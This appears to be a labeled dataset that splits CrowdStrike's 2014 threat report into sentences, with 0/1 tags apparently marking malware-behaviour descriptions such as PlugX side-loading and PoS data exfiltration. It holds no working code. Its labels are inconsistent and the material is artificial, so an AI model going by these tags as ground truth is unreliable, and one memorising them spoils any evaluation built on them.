id	text	label
GlobalThreatIntelReport-1	Intelligence powers everything we do .	0
GlobalThreatIntelReport-2	Dive into the top threat actors , attack vectors , and threat intelligence trends of 2014 .	0
GlobalThreatIntelReport-3	"Intro : At CrowdStrike , "" Intelligence powers everything we do . "" This is not a corporate slogan , and it is not a marketing theme ."	0
GlobalThreatIntelReport-4	It is the realization of having the most dedicated professionals focusing on solving problems that have real strategic , political , and financial impact on our customers .	0
GlobalThreatIntelReport-5	When we consider the problems facing our customers , we know that intelligence allows them to make key decisions that can mean the difference between disaster and triumph .	0
GlobalThreatIntelReport-6	In the earliest days building CrowdStrike , we drew heavily on the concepts encompassed in Colonel John Boyd 's OODA loop ( OODA is an acronym for Observe , Orient , Decide , Act ) .	0
GlobalThreatIntelReport-7	It has been applied over the years to all manner of decision - making situations .	0
GlobalThreatIntelReport-8	The core of the OODA model is that a decision - making process is broken into phases , and in an adversarial encounter , two entities will go through the same process .	0
GlobalThreatIntelReport-9	Whichever entity goes through the process the fastest will likely prevail .	0
GlobalThreatIntelReport-10	The reason that intelligence powers everything we do is that we seek to provide our customers with the ability to come to a decision ( the last step of the OODA loop ) before the adversary does , thus ensuring a favorable outcome .	0
GlobalThreatIntelReport-11	In intelligence circles , this is often referred to as decision advantage , and when dealing with adversaries trying to compromise your enterprise security , you want it .	0
GlobalThreatIntelReport-12	Throughout 2014 , the activity monitored by CrowdStrike in the cyber domain was reflective of the events unfolding in the real world .	0
GlobalThreatIntelReport-13	This was punctuated in late 2014 with the now - infamous attack attributed to North Korean actors who levied destructive malware in a flagrant assault against a private entity .	0
GlobalThreatIntelReport-14	The actor in this case , which CrowdStrike has traced back to 2006 , has a history of using destructive code against its targets .	0
GlobalThreatIntelReport-15	This actor again launched attacks in December against its usual adversary , the Republic of Korea .	0
GlobalThreatIntelReport-16	The highly publicized events that initially suppressed the release of a movie deemed offensive by the Democratic People 's Republic of Korea resulted in unprecedented awareness of the power that one adversary can wield against a target if they are suitably motivated .	0
GlobalThreatIntelReport-17	This final chapter in 2014 closed out what was a year of attribution and adversary focus .	0
GlobalThreatIntelReport-18	In May , the U.S.	0
GlobalThreatIntelReport-19	Department of Justice , in concert with various partners including CrowdStrike researchers , disrupted the infrastructure of Gameover Zeus , a prolific Intro : botnet that was the scourge of security practitioners across the globe .	0
GlobalThreatIntelReport-20	This disruption , which also impacted the nefarious CryptoLocker malware , provided the pause in adversary activity needed by law enforcement to levy charges and take legal action to permanently impact this malware .	0
GlobalThreatIntelReport-21	In that same month , the U.S.	0
GlobalThreatIntelReport-22	Department of Justice charged five officers in the People 's Liberation Army , the military organ of the People 's Republic of China , with violating 18 U.S.	0
GlobalThreatIntelReport-23	Code 1030 .	0
GlobalThreatIntelReport-24	In June , CrowdStrike published a detailed analysis of an actor associated with the 12th Bureau of the Third General Staff Department .	0
GlobalThreatIntelReport-25	This report demonstrated a direct lineage between malware targeting a variety of western technology and government targets , and an individual in the Chinese intelligence service .	0
GlobalThreatIntelReport-26	The events that unfolded in the South China Sea near the Paracel Islands , the emergence of ISIS , the unrest in Ukraine , and the disappearance of a Malaysian airliner all took on a cyber element .	0
GlobalThreatIntelReport-27	This is no coincidence .	0
GlobalThreatIntelReport-28	The nation - states of the world are all seeking the aforementioned decision advantage , and they know that the use of interconnected computers allows them to collect intelligence that gives them the ability to make informed decisions .	0
GlobalThreatIntelReport-29	Our customers rely on us to provide them intelligence to thwart these attacks and make informed decisions .	0
GlobalThreatIntelReport-30	This report will provide an overview of some of the intelligence analyzed by the CrowdStrike team over the past year .	0
GlobalThreatIntelReport-31	Wrapping so much analysis into one report means a lot of tough decisions needed to be made on what to include .	0
GlobalThreatIntelReport-32	This report is structured to provide Key Findings first .	0
GlobalThreatIntelReport-33	Following the key findings are some graph data based on the patterns that emerged though visibility attained by the CrowdStrike team ; this is meant to provide a snapshot of the dozens of adversaries tracked this year .	0
GlobalThreatIntelReport-34	In the Notable Activity section , we cover the three motivations that we see : Criminal , Targeted - Intrusion , and Hacktivist / Activist .	0
GlobalThreatIntelReport-35	We explore notable activity around zero - day exploits and event - specific operations conducted by these adversaries .	0
GlobalThreatIntelReport-36	There are so many interesting actors we discovered this year , and even more that advanced from previous years ; the Know the Adversary section contains interesting observations for just a few of the adversaries from the intelligence reports we publish through the subscription service .	0
GlobalThreatIntelReport-37	Finally , we provide an analysis of the 2013 report predictions for the past year , and a forecast of what to expect in 2015 .	0
GlobalThreatIntelReport-38	In 2014 , it became abundantly clear that threat intelligence would provide the decisive advantage when protecting your network .	0
GlobalThreatIntelReport-39	The CrowdStrike Global Intelligence team observed significant activity from 39 different criminal , hacktivist , state - sponsored , and nationalist adversaries .	0
GlobalThreatIntelReport-40	State of the Union : During 2014 , CrowdStrike Intelligence observed significant activity from 39 state - sponsored and nationalist adversaries targeting numerous verticals all over the globe .	0
GlobalThreatIntelReport-41	The charts below provide a high - level illustration of this targeting .	0
GlobalThreatIntelReport-42	There are a few takeaways from this data .	0
GlobalThreatIntelReport-43	Vietnam and GOBLIN PANDA were respectively the most targeted country and the most active adversary .	0
GlobalThreatIntelReport-44	From late spring through summer , GOBLIN PANDA conducted consistent targeted intrusion operations targeting organizations in Vietnam focused on tensions in the South China Sea .	0
GlobalThreatIntelReport-45	These campaigns relied primarily on spear phishing with malicious documents that dropped malware ( mostly PlugX ) along with Vietnamese- language decoy documents .	1
GlobalThreatIntelReport-46	The content of these decoys often came from documents produced by Vietnam 's government , which indicates that the adversary possibly infiltrated the government 's network and was using stolen documents in its operations .	0
GlobalThreatIntelReport-47	The frequency of GOBLIN PANDA 's operations , and targeted activity aimed at Vietnam in general , tailed off in the final months of 2014 , but the volume of activity in spring and summer was enough to push them to the top of CrowdStrike 's targeting stats .	0
GlobalThreatIntelReport-48	Observed Adversary Activity During 2014 State of the Union : Significant Targeting by Country in 2014 PlugX was by far the most used malware variant for targeted activity during 2014 .	0
GlobalThreatIntelReport-49	It proliferated greatly amongst China - based targeted intrusion adversaries and now appears to be the tool of choice for many .	0
GlobalThreatIntelReport-50	The malware has been around for years and has been used by multiple Chinese actors for quite some time ; however , the frequency of PlugX use during 2014 revealed just how prominent it is .	0
GlobalThreatIntelReport-51	PlugX is used by both more advanced China - based adversaries such as AURORA PANDA and adversaries of a lower level of sophistication such as GOBLIN PANDA .	0
GlobalThreatIntelReport-52	The reason for its prevalence is not clear .	0
GlobalThreatIntelReport-53	It is possible that there is a central malware dissemination channel supplying many Chinese adversaries and this is why so many groups are now using it .	0
GlobalThreatIntelReport-54	It is also possible that groups not using it in the past were more recently able to obtain it via the underground or public malware repositories .	0
GlobalThreatIntelReport-55	State of the Union .	0
GlobalThreatIntelReport-56	The stats below also reflect a wide range of other malicious cyber activity associated with numerous other events .	0
GlobalThreatIntelReport-57	The conflict in Ukraine resulted in targeted intrusion and other activity from both Russia - based and China- based adversaries .	0
GlobalThreatIntelReport-58	Adversaries with a nexus to Iran were also very active in 2014 targeting western government entities as well as private organizations , particularly in the defense sector .	0
GlobalThreatIntelReport-59	Elections were also heavily targeted in 2014 both in Ukraine and in Hong Kong , where the Umbrella Revolution garnered a great deal of attention from Chinese actors .	0
GlobalThreatIntelReport-60	These and a number of other topics are covered in more detail in the sections below .	0
GlobalThreatIntelReport-61	Financial crime malware changed the threat landscape , point - of- sale malware became increasingly prevalent , and China - based adversaries continued to proliferate in the targeted intrusion space .	0
GlobalThreatIntelReport-62	Notable Activity Criminal Cybercrime Trends in 2014 2014 was an extremely active year for cybercrime .	0
GlobalThreatIntelReport-63	Financial Trojans grew in both complexity and penetration .	0
GlobalThreatIntelReport-64	Two major banking botnets – Gameover Zeus ( GOZ ) and Shylock – dominated the first half of the year .	0
GlobalThreatIntelReport-65	Their development focused on the ability to deliver complex web injection scripts used to overcome two - factor authentication and online banking security .	0
GlobalThreatIntelReport-66	Two large , successful disruptions were mounted mid - year with CrowdStrike assisting in a June takeover of GOZ ( see the next section ) , and in Shylock being taken down in July .	0
GlobalThreatIntelReport-67	For some time , this left a void in this space , but adversaries were very quick to adapt .	0
GlobalThreatIntelReport-68	With many services that catered to GOZ and Shylock still in operation , it was inevitable other botnets would step up to the plate .	0
GlobalThreatIntelReport-69	CrowdStrike is now observing two new major contenders in this space : Dyreza and Dridex , also known as Bugat .	0
GlobalThreatIntelReport-70	Dyreza takes a more simplistic approach to banking fraud , acting to intercept logins and perform malicious actions by acquiring the HTTP POST data from under banking SSL sessions .	1
GlobalThreatIntelReport-71	Dridex uses the classic banking Trojan tactic of relying on complex JavaScript web injects targeted at the institutions it wishes to steal from .	0
GlobalThreatIntelReport-72	Both threats rely on the same criminal ecosystem as their predecessors .	0
GlobalThreatIntelReport-73	Upatre , a loader previously used for delivering GOZ , is now being used to deliver Dyreza , and known loaders such as Andromeda , Smoke Loader , and Pony Loader continue to be developed in order to deliver these primary payloads .	0
GlobalThreatIntelReport-74	The Cutwail and Pushdo botnets , previously tasked with distributing loaders for GOZ , have since been retasked , and , alongside other spamming botnets , are now delivering a number of phishing lures that ultimately lead to the infection with persistent payloads .	0
GlobalThreatIntelReport-75	Dridex , for example , favors Word documents with obfuscated macros .	0
GlobalThreatIntelReport-76	These macros , if allowed to execute , will reach out and download first - stage loaders that will then install the Dridex payload onto the victim machine .	1
GlobalThreatIntelReport-77	Notable Activity In addition to the changing banking Trojan landscape , ransomware has also undergone a major shift throughout 2014 - in particular becoming much more professionally organized .	0
GlobalThreatIntelReport-78	CryptoLocker 's success made it the first ransomware variant to make it into prime - time news .	0
GlobalThreatIntelReport-79	Its success was , in part , due to its wide distribution , acting as an alternative revenue stream for the operators of GOZ .	0
GlobalThreatIntelReport-80	When GOZ was dismantled , CryptoLocker was also taken down , but now in its place many other copycat ransomware families are trying to replicate its success , such as CryptoWall and TorrentLocker .	0
GlobalThreatIntelReport-81	So what is to be expected for the cybercrime landscape of 2015 ? CrowdStrike predicts the continuation of development in banking Trojans such as Dyreza and Dridex .	0
GlobalThreatIntelReport-82	As recently as November , Dridex has added Peer - to - Peer ( P2P ) functionality to its arsenal in an attempt to become more resilient , and it is likely changes in its capability will continue .	0
GlobalThreatIntelReport-83	In addition , it is likely new threats will follow the business model of using of phishing lures delivered by spambots using a range of first - stage loaders to keep their primary payloads under the radar .	0
GlobalThreatIntelReport-84	Ransomware will continue to become more of a threat as continued copycats try to develop the next market leader .	0
GlobalThreatIntelReport-85	Gameover Zeus Takedown Gameover Zeus ( GOZ ) was a complex P2P botnet that has been one of the most prevalent cyber threats for almost four years .	0
GlobalThreatIntelReport-86	It was forked off the infamous Zeus Trojan , the source code of which was leaked in spring 2011 – just a few months before the appearance of the first GOZ version .	0
GlobalThreatIntelReport-87	GOZ was largely used for banking fraud and the delivery of other malware , such as the CryptoLocker ransomware Trojan , and is believed to have caused more than $ 100 million in financial damage .	0
GlobalThreatIntelReport-88	The GOZ botnet was long believed to be resistant to any takedown attempts because of its complex , tiered infrastructure : Infected machines form a decentralized P2P network , with some peers acting as proxy nodes ( brokers between bots and the next tier ) .	0
GlobalThreatIntelReport-89	This upper tier , again , consists of proxies that conceal the location of the actual back end .	0
GlobalThreatIntelReport-90	The use of P2P technology eliminates static rendezvous points and allows the botnet operators to announce new centralized components at any time , which makes any Notable Activity efforts against them pointless .	0
GlobalThreatIntelReport-91	On top of this , a fallback mechanism generates a weekly - changing , deterministic set of 1,000 domain names that the botmaster can register in order to serve fresh peer lists .	0
GlobalThreatIntelReport-92	Bots that fail to establish contact with the P2P network would consult the Domain Generation Algorithm ( DGA ) in order to retrieve a new set of peers .	0
GlobalThreatIntelReport-93	Finally , all communication in the botnet is encrypted .	0
GlobalThreatIntelReport-94	In June 2014 , the botnet was disrupted in a coordinated effort called Operation Tovar that was the culmination of months of technical investigation and legal wrangling .	0
GlobalThreatIntelReport-95	The botnet was disrupted by the taking over of its infrastructure and at the same time preventing access by the botmasters .	0
GlobalThreatIntelReport-96	While this effort had to take into account and block all different communication channels , it was primarily focused on the P2P network , as it was the most complex component .	0
GlobalThreatIntelReport-97	By propagating specially crafted messages in the botnet , its infrastructure was degenerated and bots were redirected to sinkholes .	0
GlobalThreatIntelReport-98	The CrowdStrike Intelligence team provided technical expertise to permit the enforcement of a Temporary Restraining Order ( TRO ) , which successfully disrupted not only the infamous Gameover Zeus botnet , but also CryptoLocker .	0
GlobalThreatIntelReport-99	In addition to the technical disruption , the U.S.	0
GlobalThreatIntelReport-100	Department of Justice filed an indictment against an individual called Evgeniy Mikhailovich Bogachev , who is believed to be behind the GOZ botnet , as well as several other unnamed co - conspirators .	0
GlobalThreatIntelReport-101	Point - of - Sale Malware and Related Intrusions Credit card fraud has traditionally been popular in the cybercrime scene .	0
GlobalThreatIntelReport-102	In cases where credit card data is stolen through website breaches , the exposed data usually consists of the card numbers , expiration dates , cardholder names , and card security codes .	0
GlobalThreatIntelReport-103	However , with this data alone , it is not always possible to accurately recreate what can be found on a card 's magnetic strip .	0
GlobalThreatIntelReport-104	In the criminal marketplace , card track data is therefore generally more highly valued than the information mentioned above because it can be used in multiple ways , including manufacturing counterfeit credit cards .	0
GlobalThreatIntelReport-105	Throughout 2014 , CrowdStrike Intelligence investigated several large Notable Activity breaches of U.S.	0
GlobalThreatIntelReport-106	companies in the retail sector .	0
GlobalThreatIntelReport-107	These breaches involved targeting of Point - of - Sale ( PoS ) terminals in order to plunder consumer credit card information .	0
GlobalThreatIntelReport-108	By infecting terminals with malware specifically designed to steal credit card information as the cards are swiped by customers , attackers were able to collect data for hundreds of thousands of credit cards .	0
GlobalThreatIntelReport-109	Running in the background of a terminal , the malware would continuously scan memory for unique patterns found on a card 's magnetic strip and exfiltrate matching data to an adversary - controlled server .	0
GlobalThreatIntelReport-110	Notable Activity Target Breach On 19 December 2013 , U.S .- based retailer Target released a statement confirming a breach and providing an estimate of the total scope .	0
GlobalThreatIntelReport-111	According to the statement , the actors were able to steal data for approximately 40 million credit cards and up to 70 million individuals ' records with Personally Identifiable Information ( PII ) .	0
GlobalThreatIntelReport-112	From reporting about the breach , it is publicly speculated that the actors were able to access Target 's network via credentials stolen from a Pennsylvania - based HVAC contractor that provided services to Target .	0
GlobalThreatIntelReport-113	In January 2014 , CrowdStrike Intelligence analyzed several files from the incident .	0
GlobalThreatIntelReport-114	One of these files was a PoS malware named Kaptoxa ( also known as mmon ) , which is used as a component in another PoS malware , BlackPoS.	0
GlobalThreatIntelReport-115	This copy of Kaptoxa continuously scanned volatile memory of infected systems for patterns that looked like credit card numbers and logged them to a file that was transferred to an internal network share at regular intervals .	1
GlobalThreatIntelReport-116	Another utility was deployed onto these network shares to perform the final exfiltration step in which the data was transferred to external FTP servers .	1
GlobalThreatIntelReport-117	In January 2014 , CrowdStrike identified a malware staging site that was hosting a copy of the BlackPoS source code .	0
GlobalThreatIntelReport-118	While it is believed that this site is not linked to the Target breach , analysis of the source code provided additional insight into the simplicity of these tools .	0
GlobalThreatIntelReport-119	Compared to other crimeware families , most PoS malware is relatively simple in design and functionality .	0
GlobalThreatIntelReport-120	The malware used does not accept tasking from controllers or external systems ; its sole function is to scan , log , and exfiltrate data found .	0
GlobalThreatIntelReport-121	Despite the simplistic nature of these tools , the adversary behind the Target breach demonstrated sophisticated tradecraft in mounting a successful operation , primarily by taking full advantage of the initial stolen credentials to laterally move throughout the targeted network into the PoS systems .	0
GlobalThreatIntelReport-122	The Rise of Commodity PoS In 2014 , while several major companies were coping with breaches of their PoS infrastructure , many smaller retailers were facing the same threat from less - organized groups .	0
GlobalThreatIntelReport-123	In underground marketplaces , ready - to - use PoS malware kits were becoming more commonly available .	0
GlobalThreatIntelReport-124	Notable Activity Malware such as BlackPoS requires a bit of strategic planning on the part of the adversary ; much of the system lacks the point - and - click intuitive nature of commodity botnets .	0
GlobalThreatIntelReport-125	For less - organized or less - skilled adversary groups , an off - the - shelf kit such as Dexter PoS may allow for exploitation and offensive capabilities that may not otherwise be possible .	0
GlobalThreatIntelReport-126	Dexter , which CrowdStrike Intelligence reported on in 2013 , became one of the most publicly known PoS malware kits on the market .	0
GlobalThreatIntelReport-127	By late 2014 , the source code for Dexter was publicly available on several criminal forums .	0
GlobalThreatIntelReport-128	The malware scans memory for both Track 1 and Track 2 credit card data and exfiltrates its findings back to control servers over HTTP requests .	1
GlobalThreatIntelReport-129	Dexter Command- and - Control Panel Dexter offers an adversary a clean , simple control panel , which allows for infected host management and viewing of obtained data .	0
GlobalThreatIntelReport-130	In 2014 , CrowdStrike investigated several other kits similar to Dexter , including vSkimmer and JackPoS , which also focused on stealing credit card numbers from infected terminals .	0
GlobalThreatIntelReport-131	Many of these lacked technical sophistication , but were generally found to be effective in identifying and exfiltrating any found data .	0
GlobalThreatIntelReport-132	Notable Activity State Targeted Intrusion Trends in 2014 Incidents of targeted intrusion activity related to nation - state interests have been on the increase for the past several years .	0
GlobalThreatIntelReport-133	Different states ' activities often reflect their national interests and agendas , or their deepest concerns .	0
GlobalThreatIntelReport-134	As an example , Chinese nation - state actors appeared to clearly align and plan operations in support of real - world activities in the case of the Haiyang Shiyou 981 oil platform .	0
GlobalThreatIntelReport-135	In direct contradiction to pre - planned operations , in the case of the Umbrella Revolution that dominated the streets of Hong Kong during the summer and fall of 2014 , Chinese adversary groups were observed broadly targeting any and all organizations related to the civil unrest in a wild attempt to collect intelligence on the protestors and their movements .	0
GlobalThreatIntelReport-136	During the course of 2014 , CrowdStrike observed the continued proliferation of targeted intrusion activity .	0
GlobalThreatIntelReport-137	Nation - states understand the value of collecting intelligence in the information domain and are mobilizing resources to capitalize on the intelligence opportunities that exist there .	0
GlobalThreatIntelReport-138	While the CrowdStrike Intelligence team identified and analyzed well over a dozen new adversary groups worldwide in 2014 , there were several that were of general interest .	0
GlobalThreatIntelReport-139	FLYING KITTEN FLYING KITTEN is an adversary believed to be operating out of the Islamic Republic of Iran .	0
GlobalThreatIntelReport-140	This group was first observed initiating targeted intrusion activity in late 2013 and has continued to be active throughout 2014 .	0
GlobalThreatIntelReport-141	In January 2014 , CrowdStrike became aware of an ongoing operation by this actor targeting a company in the defense industrial base in the United States .	0
GlobalThreatIntelReport-142	This campaign leveraged fake websites to trick users into entering credentials , and to concurrently serve malware that poses as software updates for legitimate applications .	1
GlobalThreatIntelReport-143	Shortly after this activity was identified , other campaigns against additional targets in the defense and aerospace sectors were observed .	0
GlobalThreatIntelReport-144	Evidence supporting the attribution of FLYING KITTEN to Iran is found in their secondary focus , which targets Iranian dissidents in foreign countries , as well as in Iran itself .	0
GlobalThreatIntelReport-145	Notable Activity A common tactic of FLYING KITTEN is to set up spoofed login web pages on domains that closely resemble the legitimate pages used by the targets .	0
GlobalThreatIntelReport-146	These fake web pages serve two purposes : They log credentials entered by users who believe the page is a legitimate authentication mechanism , and then redirect to another page that prompts the download of an alleged patch or update that is , in fact , a copy of their remote access tool .	0
GlobalThreatIntelReport-147	This tool is used to log keystrokes , screenshots , and other user activity on infected systems and exfiltrates this data to an attacker - controlled server .	1
GlobalThreatIntelReport-148	The primary remote access tool used by FLYING KITTEN is a dropper that is written in C # .NET and generally uses the same filename .	0
GlobalThreatIntelReport-149	The files to be dropped are stored in .NET resources embedded in the executable .	0
GlobalThreatIntelReport-150	When executed , it extracts and deploys a backdoor Trojan , a configuration file , and optionally a decoy ( an image or a legitimate executable ) .	1
GlobalThreatIntelReport-151	Likewise , the backdoor executable is also written in C # , meaning it can be decompiled back to a representation of the original source code .	0
GlobalThreatIntelReport-152	This code lists several classes with telling names , such as Stealer . Browser , Stealer . Keylogger , or Stealer . Messenger .	0
GlobalThreatIntelReport-153	Further , the code contains transcripts of Farsi language artifacts , e.g. , HavijeBaba and salam!*% # , as shown below .	0
GlobalThreatIntelReport-154	In addition to the aerospace / defense and dissident targeting , it appears that FLYING KITTEN was also engaged in broader targeting via the website parmanpower.com that purported to be the website of a business engaged in recruiting , training , and development in Erbil , Iraq .	0
GlobalThreatIntelReport-155	The Whois record Notable Activity for this website is the same as for some of the other domains related to the activity discussed above , which indicates that it was also in use by this adversary , but the actual purpose of the website is still unknown .	0
GlobalThreatIntelReport-156	The registrant email that currently appears in Whois records for many of the observed domains is info@usa.gov.us .	0
GlobalThreatIntelReport-157	However , historical records show that the domains were originally registered under the email address keyvan .	0
GlobalThreatIntelReport-158	ajaxtm@gmail.com , which ties back to an Iran - based entity called Ajax Security Team .	0
GlobalThreatIntelReport-159	This group has been known for low - level web defacements and SQL injection attacks for some time .	0
GlobalThreatIntelReport-160	Until early 2014 , Ajax Security had an easily identifiable presence on the Internet with its own website and related Facebook pages .	0
GlobalThreatIntelReport-161	This Internet presence has decreased significantly , likely due to a desire to keep a lower profile now that the group is engaged in targeted intrusion activity .	0
GlobalThreatIntelReport-162	CHARMING KITTEN In late May , public reporting was released about an Iran - based adversary that leverages fake personas on social networking sites in order to conduct social engineering and ultimately targeted attacks against desired targets .	0
GlobalThreatIntelReport-163	This adversary , CHARMING KITTEN , has been known to CrowdStrike Intelligence since January 2014 , when it was observed targeting individuals in the U.S.	0
GlobalThreatIntelReport-164	government and defense sectors .	0
GlobalThreatIntelReport-165	CHARMING KITTEN engaged in both credential collection and malware operations .	0
GlobalThreatIntelReport-166	Credential collection occurred through spoofed websites meant to appear as if they were legitimate sites such as YouTube .	0
GlobalThreatIntelReport-167	When victims clicked on the log in link , they were redirected to a different website that prompted them to enter credentials for harvesting by the adversary .	0
GlobalThreatIntelReport-168	The malware used by this adversary is an Internet Relay Chat ( IRC)-based malware variant referred to as Parastoo because of the IRC password it uses .	0
GlobalThreatIntelReport-169	This malware possesses Notable Activity an extensive command set capable of conducting reconnaissance of victim machines , deleting files , downloading files , and exfiltrating data .	1
GlobalThreatIntelReport-170	A number of factors support CHARMING KITTEN 's nexus to Iran .	0
GlobalThreatIntelReport-171	"First of all , the "" Parastoo "" password used by the malware is an Iranian word used to refer to small birds ."	0
GlobalThreatIntelReport-172	Also , the adversary used Iran - based web hosting providers and infrastructure to host malicious domains .	0
GlobalThreatIntelReport-173	Finally , one of the droppers related to one of the identified Parastoo variants dropped a Persian - language decoy document purporting to be from Iran 's Ministry of Interior .	0
GlobalThreatIntelReport-174	PlugX – The Panda 's Tool of Choice CrowdStrike has observed an upward trend in the use of PlugX Remote Access Tool ( RAT ) malware during 2014 .	0
GlobalThreatIntelReport-175	Multiple adversary groups have used PlugX to target a number of sectors in countries surrounding China 's sphere of influence , particularly those involved in science & technology , government , and defense .	0
GlobalThreatIntelReport-176	Further afield , PlugX has been used in persistent campaigns against commercial entities in the United States , as well as to target organizations involved in counter - terrorism or other political efforts worldwide .	0
GlobalThreatIntelReport-177	Attacks associated with GOBLIN PANDA have been observed at an increasing rate throughout the latter half of the year , while in the closing months of 2014 CrowdStrike has investigated several instances of PlugX activity consistent with the HURRICANE PANDA and PALE PANDA adversaries .	0
GlobalThreatIntelReport-178	Other China - based adversaries observed using PlugX in their operations include AURORA PANDA , NIGHTSHADE PANDA , PREDATOR PANDA , EMISSARY PANDA , and WET PANDA .	0
GlobalThreatIntelReport-179	The upward trend in use of PlugX indicates an increasing confidence in the capabilities of the platform , justifying its continued use across multiple sectors and countries .	0
GlobalThreatIntelReport-180	PlugX has existed in some form since 2008 and has evolved over time to offer new capabilities and control mechanisms , supported by an active development program .	0
GlobalThreatIntelReport-181	It provides an attacker with a range of functionality including the ability to log keystrokes ; modify and copy files ; capture screenshots or video of user activity ; and perform administrative tasks such Notable Activity as terminating processes , logging off users , and rebooting victim machines .	1
GlobalThreatIntelReport-182	A full command shell is also provided through access to a cmd.exe process , which sends output to the PlugX instance over named pipes for onward relay to the attacker 's Command - and - Control ( C2 ) servers .	1
GlobalThreatIntelReport-183	While these capabilities are not unusual for a RAT and are comparable to those provided by Poison Ivy and other tools , PlugX also offers a range of C2 protocols and execution options that help reduce the risk of being detected by network defenders .	0
GlobalThreatIntelReport-184	Over time , these capabilities have been augmented with additional releases of versions and plugins , which have in turn been deployed by adversaries in active and ongoing campaigns .	0
GlobalThreatIntelReport-185	For example , GOBLIN PANDA has been observed using PlugX with internal version numbers of 20140101 in campaigns since Q2 2014 , migrating to deployments of 20140606 versions in the second half of the year .	0
GlobalThreatIntelReport-186	PlugX is most frequently delivered to targets via a spear phishing attack containing a malicious RTF or Word document leveraging exploit code for the popular CVE-2012 - 0158 vulnerability .	1
GlobalThreatIntelReport-187	Some adversary groups also attempted to leverage the CVE-2014 - 1761 vulnerability as a way to maximize the chance of exploitation against more recently patched systems , with varying degrees of success .	0
GlobalThreatIntelReport-188	Attacks have also been identified using PowerPoint and Excel file formats , as well as self - extracting RAR files and plain executables as email attachments .	0
GlobalThreatIntelReport-189	However PlugX is installed on a victim machine , typically three files are dropped on the file system after exploitation to enable initial start - up of the malware : a legitimate , digitally signed application ; an encrypted file containing the PlugX payload ; and a malicious , dynamically - linked library that is used to load the malware using the Dynamic Link Library ( DLL ) side - loading technique when the legitimate application is executed .	1
GlobalThreatIntelReport-190	This methodology can provide a level of protection against some threat detection techniques employed by anti - virus software packages , as the parent process is a non - malicious executable .	0
GlobalThreatIntelReport-191	Often , a computer security tool such as a component of a commercial anti - virus application is used for this purpose , likely to take advantage of any process whitelisting strategies that may be in place on a network .	0
GlobalThreatIntelReport-192	Notable Activity Command and control of PlugX malware is facilitated using a range of protocols including HTTP and a binary channel over ICMP .	0
GlobalThreatIntelReport-193	During 2014 , CrowdStrike observed an increased use of a newer DNS C2 module that transmits data as lengthy DNS queries to adversary - controlled infrastructure .	0
GlobalThreatIntelReport-194	While this mechanism deviates from some of the more typically monitored protocols , the verbosity of communication using this module may provide opportunities for detection through proactive analysis of such traffic leaving a network .	0
GlobalThreatIntelReport-195	Further demonstrating the continued development of this platform , CrowdStrike observed modifications to HTTP and DNS requests produced by PlugX throughout the year , presenting an adapting challenge for detection of this threat .	0
GlobalThreatIntelReport-196	However , while some adversary groups have registered domains over the course of 2014 for use in PlugX C2 ( e.g. , proxyme.net ) , there has been a continued use of domain names that have been active for a number of years , indicating the effectiveness of this infrastructure over extended periods of time .	0
GlobalThreatIntelReport-197	The ongoing development of PlugX provides attackers with a flexible capability that requires continued vigilance on the part of network defenders in order to detect it reliably .	0
GlobalThreatIntelReport-198	There is currently no clear evidence to suggest that use of PlugX has proliferated to adversaries attributed outside of China ; an increase in its deployment over the last year could be a precursor to future worldwide use , particularly as PlugX succeeds legacy capabilities such as Poison Ivy as an adversary tool of choice .	0
GlobalThreatIntelReport-199	Notable Activity Hacktivist / Nationalist Hacktivist- and nationalist - motivated cyber actors are a third class of adversary tracked by the CrowdStrike Intelligence team .	0
GlobalThreatIntelReport-200	The goals of these actors may range from causing mischief for laughs to influencing opinions or views about a particular issue .	0
GlobalThreatIntelReport-201	During the course of 2014 , there were a few notable events that demonstrate the capabilities of these actors .	0
GlobalThreatIntelReport-202	As electronic voting continues to be used by more and more countries , the targeting of such processes and equipment will continue to expand .	0
GlobalThreatIntelReport-203	Operations Targeting Elections In July 2014 , the electronic voter registration system for the then- upcoming Tunisian presidential election suffered a cyber attack , rendering registrations impossible for an unknown amount of time .	0
GlobalThreatIntelReport-204	Sources reported that the authorities had control over the attack and that it was a systematic process , intended to strike the electoral process .	0
GlobalThreatIntelReport-205	This incident is yet another example of cyber attacks targeting electronic voting systems to manipulate an outcome .	0
GlobalThreatIntelReport-206	CyberBerkut In February 2014 , several bloody protests took place in Ukraine resulting in the ousting of the pro - Russia prime minister , and an interim government was created with the goal of creating closer ties with the European Union ( EU ) .	0
GlobalThreatIntelReport-207	Following the protests , CyberBerkut , a self - proclaimed nationalistic hacking group , began taking credit for hacks against Ukrainian interim leaders .	0
GlobalThreatIntelReport-208	The group was extremely proactive about distributing propaganda decrying the new government and recruiting pro - Russia supporters to engage in participatory Distributed Denial of Service ( DDoS ) attacks against a multitude of Ukrainian government and media sites .	0
GlobalThreatIntelReport-209	These attacks were likely directed by Russian state services , with the CyberBerkut hacktivists providing a layer of plausible deniability .	0
GlobalThreatIntelReport-210	Several of the DDoS attacks against Ukraine 's Central Election Commission ( CEC ) coincided with Russian state media broadcasts , further suggesting coordination at the state level .	0
GlobalThreatIntelReport-211	In one case , an attack on the CEC occurred around the time the election results were supposed to appear , while a simultaneous broadcast on Russian state media appeared to show false Notable Activity results where an extremist candidate won the election by a hefty margin .	0
GlobalThreatIntelReport-212	The goal of the operation was likely to cause temporary confusion over the immediate results of the election and to cause observers to question the legitimacy of the elections , which were touted as being fair and well equipped to withstand attacks .	0
GlobalThreatIntelReport-213	Had the operation been successful , it likely would have incited unrest in Ukraine and supported the Russian narrative that the elections were illegitimate and that Russian intervention was needed to prevent Ukraine from slipping into complete chaos .	0
GlobalThreatIntelReport-214	"Whereas previous conflicts between Russia and former Soviet states Estonia and Georgia saw a much heavier use of cyber tactics used to bring down critical infrastructure and disrupt communications , the efforts against Ukraine appeared muted and designed more for a disinformation campaign to stir unrest in order for Russia to intervene in Ukraine in a "" peacekeeper "" role as it did in Crimea ."	0
GlobalThreatIntelReport-215	The widespread publicity the conflict received in global media along with the threat of heavy sanctions imposed by the west may have been a factor in preventing more aggressive cyber action from Russia .	0
GlobalThreatIntelReport-216	Although the campaign appeared to be ultimately unsuccessful , partly due to a prepared Ukrainian defense , CrowdStrike noted several interesting observations .	0
GlobalThreatIntelReport-217	Though the use of a proxy to carry out attacks for the purposes of plausible deniability is hardly new , the coordination of the propaganda distributed and Russian media reporting was particularly telling with regard to how Russian state services can direct many moving parts in unison to achieve their goals via cyber means .	0
GlobalThreatIntelReport-218	"In addition , the participatory DDoS client software CyberBerkut advertised to help launch DDoS attacks against the Ukrainian government actually installed a backdoor on victims ' machines , presumably enabling Russian intelligence services to make a new botnet out of the compromised "" volunteers "" , which could be used in future conflicts ."	0
